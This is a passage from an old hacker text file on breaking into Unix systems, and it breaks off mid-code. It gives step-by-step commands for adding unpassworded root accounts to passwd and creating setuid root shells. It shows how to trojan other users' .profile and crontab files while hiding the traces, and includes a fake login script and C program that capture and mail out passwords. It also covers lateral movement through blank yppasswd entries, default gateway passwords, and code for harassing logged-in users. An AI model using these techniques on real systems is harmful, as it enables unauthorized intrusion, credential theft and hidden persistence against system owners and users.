file on a unix. See, the bin account owns most of the "bin" (binary) files, as well as others used by the binary files, such as login. Now, knowing what you know about file permissions, if bin owns the passwd file, you can edit passwd and add a root entry for yourself. You could do this via the edit command: $ ed passwd 10999 [The size of passwd varies] * a sirhak::0:0:Mr. Hackalot:/:/bin/sh {control-d} * w * q $ Then, you could say: exec login, then you could login as sirhack, and you'd be root. /\/\/\/\/\/\/\/\/ Hacking.......... /\/\/\/\/\/\/\/\/ -------------- Account Adding -------------- There are other programs that will add users to the system, instead of ed. But most of these programs will NOT allow a root level user to be added, or anything less than a UID of 100. One of these programs is named "adduser". Now, the reason I have stuck this little section in, is for those who want to use a unix for something useful. Say you want a "mailing address". If the unix has uucp on it, or is a big college, chances are, it will do mail transfers. You'll have to test the unix by trying to send mail to a friend somewhere, or just mailing yourself. If the mailer is identified as "smail" when you mail yourself (the program name will be imbedded in the message) that probably means that the system will send out UUCP mail. This is a good way to keep in contact with people. Now, this is why you'd want a semi-permanent account. The way to achieve this is by adding an account similar to those already on the system. If all the user-level accounts (UID >= 100) are three letter abbriviations, say "btc" for Bill The Cat, or "brs" for bill ryan smith, add an account via adduser, and make a name like sally jane marshall or something (they don't expect hackers to put in female names) and have the account named sjm. See, in the account description (like Mr. Hackalot above), that is where the real name is usually stored. So, sjm might look like this: sjm::101:50:Sally Jane Marshall:/usr/sjm:/bin/sh Of course, you will password protect this account, right? Also, group id's don't have to be above 100, but you must put the account into one that exists. Now, once you login with this account, the first thing you'd want to do is execute "passwd" to set a password up. If you don't, chances are someone else 'll do it for you (Then you'll be SOL). ------------------- Set The User ID ------------------- This is porbably one of the most used schemes. Setting up an "UID- Shell". What does this mean? Well, it basically means you are going to set the user-bit on a program. The program most commonly used is a shell (csh,sh, ksh, etc). Why? Think about it: You'll have access to whatever the owner of the file does. A UID shell sets the user-ID of the person who executes it to the owner of the program. So if root owns a uid shell, then you become root when you run it. This is an alternate way to become root. Say you get in and modify the passwd file and make a root level account unpassworded, so you can drop in. Of course, you almost HAVE to get rid of that account or else it WILL be noticed eventually. So, what you would do is set up a regular user account for yourself, then, make a uid shell. Usually you would use /bin/sh to do it. After adding the regular user to the passwd file, and setting up his home directory, you could do something like this: (assume you set up the account: shk) # cp /bin/sh /usr/shk/runme # chmod a+s /usr/shk/runme Thats all there would be to it. When you logged in as shk, you could just type in: $ runme # See? You'd then be root. Here is a thing to do: $ id uid=104(shk) gid=50(user) $ runme # id uid=104(shk) gid=50(user) euid=0(root) # The euid is the "effective" user ID. UID-shells only set the effective userid, not the real user-id. But, the effective user id over-rides the real user id. Now, you can, if you wanted to just be annoying, make the utilities suid to root. What do I mean? For instance, make 'ls' a root 'shell'. : # chmod a+s /bin/ls # exit $ ls -l /usr/fred .. ...... etc crap Ls would then be able to pry into ANY directory. If you did the same to "cat" you could view any file. If you did it to rm, you could delete any file. If you did it to 'ed', you could edit any-file (nifty!), anywhere on the system (usually). How do I get root? ------------------ Good question indeed. To make a program set the user-id shell to root, you have to be root, unless you're lucky. What do I mean? Well, say you find a program that sets the user-id to root. If you have access to write to that file, guess what? you can copy over it, but keep the uid bit set. So, say you see that the program chsh is setting the user id too root. You can copy /bin/sh over it. $ ls -l rwsrwsrws root other 10999 Jan 4 chsh $ cp /bin/sh chsh $ chsh # See? That is just one way. There are others, which I will now talk about. More on setting the UID ----------------------- Now, the generic form for making a program set the User-ID bit is to use this command: chmod a+s file Where 'file' is a valid existing file. Now, only those who own the file can set the user ID bit. Remember, anything YOU create, YOU own, so if you copy th /bin/sh, the one you are logged in as owns it, or IF the UID is set to something else, the New UID owns the file. This brings me to BAD file permissions. II. HACKING : Bad Directory Permissions Now, what do I mean for bad directory permissions? Well, look for files that YOU can write to, and above all, DIRECTORIES you can write to. If you have write permissions on a file, you can modify it. Now, this comes in handy when wanting to steal someone's access. If you can write to a user's .profile, you are in business. You can have that user's .profile create a suid shell for you to run when You next logon after the user. If the .profile is writable to you, you can do this: $ ed .profile [some number will be here] ? a cp /bin/sh .runme chmod a+x .runme chmod a+s .runme (control-d) ? w [new filesize will be shown] ? q $ Now, when the user next logs on, the .profile will create .runme which will set your ID to the user whose .profile you changed. Ideally, you'll go back in and zap those lines after the suid is created, and you'll create a suid somewhere else, and delete the one in his dir. The .runme will not appear in the user's REGULAR directory list, it will only show up if he does "ls -a" (or ls with a -a combination), because, the '.' makes a file hidden. The above was a TROJAN HORSE, which is one of the most widely used/abused method of gaining more power on a unix. The above could be done in C via the system() command, or by just plain using open(), chmod(), and the like. * Remember to check and see if the root user's profile is writeable * * it is located at /.profile (usually) * The BEST thing that could happen is to find a user's directory writeable by you. Why? well, you could replace all the files in the directory with your own devious scripts, or C trojans. Even if a file is not writeable by you, you can still overwrite it by deleteing it. If you can read various files, such as the user's .profile, you can make a self deleting trojan as so: $ cp .profile temp.pro $ ed .profile 1234 ? a cp /bin/sh .runme chmod a+x .runme chmod a+s .runme mv temp.pro .profile (control-d) ? w [another number] ? q $ chown that_user temp.pro What happens is that you make a copy of the .profile before you change it. Then, you change the original. When he runs it, the steps are made, then the original version is placed over the current, so if the idiot looks in his .profile, he won't see anything out of the ordinary, except that he could notice in a long listing that the change date is very recent, but most users are not paranoid enough to do extensive checks on their files, except sysadm files (such as passwd). Now, remember, even though you can write to a dir, you may not be able to write to a file without deleting it. If you do not have write perms for that file, you'll have to delete it and write something in its place (put a file with the same name there). The most important thing to remember if you have to delete a .profile is to CHANGE the OWNER back after you construct a new one (hehe) for that user. He could easily notice that his .profile was changed and he'll know who did it. YES, you can change the owner to someone else besides yourself and the original owner (as to throw him off), but this is not wise as keeping access usually relies on the fact that they don't know you are around. You can easily change cron files if you can write to them. I'm not going to go into detail about cronfile formats here, just find the crontab files and modify them to create a shell somewhere as root every once in a while, and set the user-id. III. Trojan Horses on Detached terminals. Basically this: You can send garbage to a user's screen and mess him up bad enough to force a logoff, creating a detached account. Then you can execute a trojan horse off that terminal in place of login or something, so the next one who calls can hit the trojan horse. This USUALLY takes the form of a fake login and write the username/pw entererred to disk. Now, there are other trojan horses available for you to write. Now, don't go thinking about a virus, for they don't work unless ROOT runs them. Anyway, a common trjan would be a shell script to get the password, and mail it to you. Now, you can replace the code for the self deleting trojan with one saying something like: echo "login: \c" read lgin echo off (works on some systems) (if above not available...: stty -noecho) echo "Password:\c" read pw echo on echo "Login: $lgin - Pword: $pw" | mail you Now, the best way to use this is to put it in a seperate script file so it can be deleted as part of the self deleting trojan. A quick modification, removing the "login: " and leaving the password may have it look like SU, so you can get the root password. But make sure the program deletes itself. Here is a sample trojan login in C: #include /* Get the necessary defs.. */ main() { char *name[80]; char *pw[20]; FILE *strm; printf("login: "); gets(name); pw = getpass("Password:"); strm = fopen("/WhereEver/Whateverfile","a"); fprintf(strm,"User: (%s), PW [%s]\n",name,pw); fclose(strm); /* put some kind of error below... or something... */ printf("Bus Error - Core Dumped\n"); exit(1); } The program gets the login, and the password, and appends it to a file (/wherever/whateverfile), and creates the file if it can, and if its not there. That is just an example. Network Annoyances come later. IV. Odd systems There may be systems you can log in to with no problem, and find some slack menu, database, or word processor as your shell, with no way to the command interpreter (sh, ksh, etc..). Don't give up here. Some systems will let you login as root, but give you a menu which will allow you to add an account. However, ones that do this usually have some purchased software package running, and the people who made the software KNOW that the people who bought it are idiots, and the thing will sometimes only allow you to add accounts with user-id 100 or greater, with their special menushell as a shell. You probably won't get to pick the shell, the program will probably stick one on the user you created which is very limiting. HOWEVER, sometimes you can edit accounts, and it will list accounts you can edit on the screen. HOWEVER, these programs usually only list those with UIDS > 100 so you don't edit the good accounts, however, they donot stop you from editing an account with a UID < 100. The "editing" usually only involves changing the password on the account. If an account has a * for a password, the standard passwd program which changes programs, will say no pw exists, and will ask you to enter one. (wallah! You have just freed an account for yourself. Usually bin and sys have a * for a password). If one exists you'll have to enter the old Password (I hope you know it!) for that account. Then, you are in the same boat as before. (BTW -- These wierd systems are usually Xenix/386, Xenix/286, or Altos/286) With word processors, usually you can select the load command, and when the word processor prompts for a file, you can select the passwd file, to look for open accounts, or at least valid ones to hack. An example would be the informix system. You can get a word processor with that such as Samna word, or something, and those Lamers will not protect against shit like that. Why? The Passwd file HAS to be readable by all for the most part, so each program can "stat" you. However, word processors could be made to restrict editing to a directory, or set of directories. Here is an example: $ id uid=100(sirhack) gid=100(users) $ sword (word processor comes up) (select LOAD A FILE) : /etc/passwd (you see: ) root:dkdjkgsf!!!:0:0:Sysop:/:/bin/sh sirhack:dld!k%%?%:100:100:Sir Hackalot:/usr/usr1/sirhack:/bin/sh datawiz::101:100:The Data Wizard:/usr/usr1/datawiz:/bin/sh ... Now I have found an account to take over! "datawiz" will get me in with no trouble, then I can change his password, which he will not like at all. Some systems leave "sysadm" unpassworded (stupid!), and now, Most versions of Unix, be it Xenix, Unix, BSD, or whatnot, they ship a sysadm shell which will menu drive all the important shit, even creating users, but you must have ansi or something. You can usually tell when you'll get a menu. Sometimes on UNIX SYSTEM V, when it says TERM = (termtype), and is waiting for you to press return or whatever, you will probably get a menu.. ack. V. Shadowed Password files Not much to say about this. all it is, is when every password field in the password file has an "x" or just a single character. What that does is screw you, becuase you cannot read the shadowed password file, only root can, and it contains all the passwords, so you will not know what accounts have no passwords, etc. There are a lot of other schemes for hacking unix, lots of others, from writing assembly code that modifies the PCB through self-changing code which the interrupt handler doesn't catch, and things like that. However, I do not want to give away everything, and this was not meant for advanced Unix Hackers, or atleast not the ones that are familiar with 68xxx, 80386 Unix assembly language or anything. Now I will Talk about Internet. --->>> InterNet <<<--- Why do I want to talk about InterNet? Well, because it is a prime example of a TCP/IP network, better known as a WAN (Wide-Area-Network). Now, mainly you will find BSD systems off of the Internet, or SunOS, for they are the most common. They may not be when System V, Rel 4.0, Version 2.0 comes out. Anyway, these BSDs/SunOSs like to make it easy to jump from one computer to another once you are logged in. What happens is EACH system has a "yello page password file". Better known as yppasswd. If you look in there, and see blank passwords you can use rsh, rlogin, etc.. to slip into that system. One system in particular I came across had a a yppasswd file where *300* users had blank passwords in the Yellow Pages. Once I got in on the "test" account, ALL I had to do was select who I wanted to be, and do: rlogin -l user (sometimes -n). Then it would log me onto the system I was already on, through TCP/IP. However, when you do this, remember that the yppasswd only pertains to the system you are on at the time. To find accounts, you could find the yppasswd file and do: % cat yppasswd | grep :: Or, if you can't find yppasswd.. % ypcat passwd | grep :: On ONE system (which will remain confidential), I found the DAEMON account left open in the yppasswd file. Not bad. Anyway, through one system on the internet, you can reach many. Just use rsh, or rlogin, and look in the file: /etc/hosts for valid sites which you can reach. If you get on to a system, and rlogin to somewhere else, and it asks for a password, that just means one of two things: A. Your account that you have hacked on the one computer is on the target computer as well. Try to use the same password (if any) you found the hacked account to have. If it is a default, then it is definitly on the other system, but good luck... B. rlogin/rsh passed your current username along to the remote system, so it was like typing in your login at a "login: " prompt. You may not exist on the other machine. Try "rlogin -l login_name", or rlogin -n name.. sometimes, you can execute "rwho" on another machine, and get a valid account. Some notes on Internet servers. There are "GATEWAYS" that you can get into that will allow access to MANY internet sites. They are mostly run off a modified GL/1 or GS/1. No big deal. They have help files. However, you can get a "privilged" access on them, which will give you CONTROL of the gateway.. You can shut it down, remove systems from the Internet, etc.. When you request to become privileged, it will ask for a password. There is a default. The default is "system". I have come across *5* gateways with the default password. Then again, DECNET has the same password, and I have come across 100+ of those with the default privileged password. CERT Sucks. a Gateway that led to APPLE.COM had the default password. Anyone could have removed apple.com from the internet. Be advised that there are many networks now that use TCP/IP.. Such as BARRNET, LANET, and many other University networks. --** Having Fun **-- Now, if nothing else, you should atleast have some fun. No, I do not mean go trashing hardrives, or unlinking directories to take up inodes, I mean play with online users. There are many things to do. Re-direct output to them is the biggie. Here is an example: $ who loozer tty1 sirhack tty2 $ banner You Suck >/dev/tty1 $ That sent the output to loozer. The TTY1 is where I/O is being performed to his terminal (usually a modem if it is a TTY). You can repetitiously banner him with a do while statement in shell, causing him to logoff. Or you can get sly, and just screw with him. Observe this C program: #include #include #include main(argc,argument) int argc; char *argument[]; { int handle; char *pstr,*olm[80]; char *devstr = "/dev/"; int acnt = 2; FILE *strm; pstr = ""; if (argc == 1) { printf("OL (OneLiner) Version 1.00 \n"); printf("By Sir Hackalot [PHAZE]\n"); printf("\nSyntax: ol tty message\n"); printf("Example: ol tty01 You suck\n"); exit(1); } printf("OL (OneLiner) Version 1.0\n"); printf("By Sir Hackalot [PHAZE]\n"); if (argc == 2) { strcpy(olm,""); ?